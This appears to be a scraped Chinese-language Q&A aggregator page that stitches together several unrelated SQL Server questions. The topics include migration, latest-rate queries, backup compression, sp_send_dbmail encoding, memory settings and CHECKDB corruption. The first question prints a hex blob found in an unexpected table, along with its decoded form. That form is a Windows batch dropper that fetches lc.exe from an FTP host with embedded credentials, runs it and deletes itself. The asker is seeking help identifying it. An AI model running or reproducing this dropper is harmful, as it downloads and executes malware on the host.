我计划将 SQL Server 2008 标准版迁移到 Linux 服务器实例。我对这个实例有两个问题:
我正在使用 SQL Server 2014 中的 UI 创建一个新数据库,当我打开表时,它已经有一个表dbo.cmd:
CREATE TABLE [dbo].[cmd](
[a] [image] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
Run Code Online (Sandbox Code Playgroud)
它还插入了一行:
0x406364202573797374656D726F6F74255C68656C7026406563686F206F70656E2062326263732E676F746F667470312E636F6D3E536F2E3126406563686F2062326263733E3E536F2E3126406563686F2035357A65343235323E3E536F2E3126406563686F20676574206C632E6578653E3E536F2E3126406563686F206279653E3E536F2E312640667470202D733A536F2E312664656C20536F2E3126406C632E6578652664656C202530252665786974
Run Code Online (Sandbox Code Playgroud)
我尝试将其转换为字符串,结果如下:
@cd %systemroot%\help&@echo open b2bcs.gotoftp1.com>So.1&@echo b2bcs>>So.1&@echo 55ze4252>>So.1&@echo get lc.exe>>So.1&@echo bye>>So.1&@ftp -s:So.1&del So.1&@lc.exe&del %0%&exit
Run Code Online (Sandbox Code Playgroud)
在关注这个之后,我发现它是一个 bash 脚本,我尝试执行 bash 脚本,我的文件lc.exe夹中有一个文件%systemroot%/Help/lc.exe,但我还没有执行脚本中的最后一个命令:
lc.exe&del %0%&exit
Run Code Online (Sandbox Code Playgroud)
这是什么?我试过搜索这个,但找不到任何东西。我不知道这里发生了什么,我该如何解决这个问题?
我有一张如下表:
SELECT [EffectiveDate]
,[Rate]
[ModUser]
FROM [Vision]
Run Code Online (Sandbox Code Playgroud)
有很多行带有 ModUsers 名称。我需要提供 ModUsers 名称并获取最新费率。
我怎么做?
我试图查看我的所有备份是否已压缩。我运行下面的查询来检查但没有得到好的结果:
select top(10) database_name,
case when backup_size = compressed_backup_size then 'Compressed'
else 'Not compressed'
end as Compression,
backup_finish_date
from msdb.dbo.backupset
where database_name ='MyDAtabase'
order by backup_start_date desc
Run Code Online (Sandbox Code Playgroud)
我在用:
Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0 (X64)
2012 年 6 月 28 日 08:36:30 版权所有 (c)
Windows NT 6.1(内部版本 7601:Service Pack 1)上的Microsoft Corporation标准版(64 位)
默认情况下,我们设置了压缩,但是一旦我运行该查询,我得到的结果数据库没有被压缩。
我在每晚触发的 SQL 代理作业中使用 sp_send_dbmail。该作业查询我们的数据库并检查产品价格更新,如果有,它将通过电子邮件作为附件发送给我们的电子商务供应商。他们有一些自动流程,他们会更新我们的电子商务平台,但是他们的自动流程无法处理 sp_send_dbmail 提供的文件。sp_send_dbmail 似乎在结果集中的所有字符之间放置了空字符。
查看在十六进制编辑器中打开 csv 的结果:
通过文本编辑器查看我看到的预期:
sp_send_dbmail 在这里查询:
SET @FileName = 'Update_' + CONVERT(VARCHAR(12),GETDATE),105) '.csv'
SET @Query = 'Some Query'
EXEC msdb.dbo.sp_send_dbmail
@recipients = 'me@domain.com'
@query = @Query
@attach_query_result_as_file = 1
@query_attachment_filename = @FileName
@query_result_separator = ','
@query_result_no_padding = 1
END
Run Code Online (Sandbox Code Playgroud)
这里发生了什么?
****编辑补充说明****
使用 Microsoft SQL Server 2008 R2 排序规则为 Latin1_General_CI_AS
离开 no_padding 会在每个返回的字段中留下几个尾随空格。每个空格 (20) 由空值 (00) 分隔
我有一台服务器,它被重新用于 SQL Server。它带有比我的操作系统 (Windows Server 2008 R2) 可以看到的 32GB 更多的物理内存。
管理层希望我将 SQL (SQL Server 2008 R2 Service Pack 3) 使用的最大服务器内存配置为高于操作系统所看到的。我可以通过 SQL Server Management Studio 在 SQL Server 的属性中更改它。SQL Server 能否使用额外的 RAM?还是会耗尽操作系统可用的所有内存?
我对此不知所措。实现这一目标的简单方法是什么?
我有这样的“客户”表:
USER_ID| NAME | J_ID |K_ID |Y_ID
-----------------------------------------
1 | CUST1 | A | 1 | AB
2 | CUST2 | B | 2 | NULL
3 | CUST3 | C | 3 | EF
4 | CUST4 | NULL | NULL | GH
5 | CUST5 | E | 5 | IJ
Run Code Online (Sandbox Code Playgroud)
然后像这样的“R_ID”表:
R_ID | Y_ID
------------------
1A9 | AB
2B8 | CD
3C7 | EF
4D6 | GH
5E5 | IJ
Run Code Online (Sandbox Code Playgroud)
然后像这样的“JK_ID”表:
R_ID | J_ID | K_ID …Run Code Online (Sandbox Code Playgroud) SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED 位于“BEGIN”的不同部分。以下两个查询的行为是否相同?
视图 viewOne 和 viewTwo 会继承脏读吗?或者视图需要有一个明确的“NOLOCK”
查询 1
set transaction isolation level read uncommitted
begin
select col1 from viewOne
select * from viewTwo
select * from table1
end
Run Code Online (Sandbox Code Playgroud)
查询 2
begin
set transaction isolation level read uncommitted
select col1 from viewOne
select * from viewTwo
select * from table1
end
Run Code Online (Sandbox Code Playgroud) performance sql-server transaction isolation-level query-performance
我收到了很多错误DBCC CHECKDB,包括:
消息 8939,级别 16,状态 98,第 1 行
表错误:对象 ID 0,索引 ID -1,分区 ID 0,分配单元 ID 3667181342891245568(未知类型),页面(7791:-1694668604)。测试 (IS_OFF (BUF_IOERR, pBUF->bstat)) 失败。值为 133129 和 -12。
消息 8928,级别 16,状态 1,第 1 行
对象 ID 405576483,索引 ID 73,分区 ID 72057594049200128,分配单元 ID 72057594054246400(类型行内数据):处理页 (1:194) 有关详细信息,请参阅其他错误。
消息 8976,级别 16,状态 1,第 1 行
表错误:对象 ID 405576483,索引 ID 73,分区 ID 72057594049200128,分配单元 ID 72057594054246400(类型行内数据)。页面 (1:194923) 未在扫描中看到,尽管其父页面 (1:186194) 和上一个页面 (1:194922) 引用了它。检查以前的任何错误。
消息 8980,级别 16,状态 1,第 1 行
表错误:对象 ID 405576483,索引 ID 73,分区 ID 72057594049200128,分配单元 ID 72057594054246400(类型行内数据)。索引节点页 (1:186194),槽 …
我DBCC CHECKDB在 SQL Server 2014 上已损坏行的表上运行时遇到一致性错误。在前 30,000 行(总计 140 万(140 万)行)之后,我遇到了损坏错误。
我想尝试bcp将数据取出,直到损坏为止。我想跳过损坏的行。我想bcp在损坏范围之后并尽量减少数据丢失。
我该怎么做?请详细说明。
另请参阅我之前的问题:在 SQL Server 2014 中的几个表上运行 CHECKDB 的一致性错误
sql-server ×10
t-sql ×2
backup ×1
bcp ×1
compression ×1
corruption ×1
dbcc-checkdb ×1
encoding ×1
linux ×1
memory ×1
performance ×1
transaction ×1
unicode ×1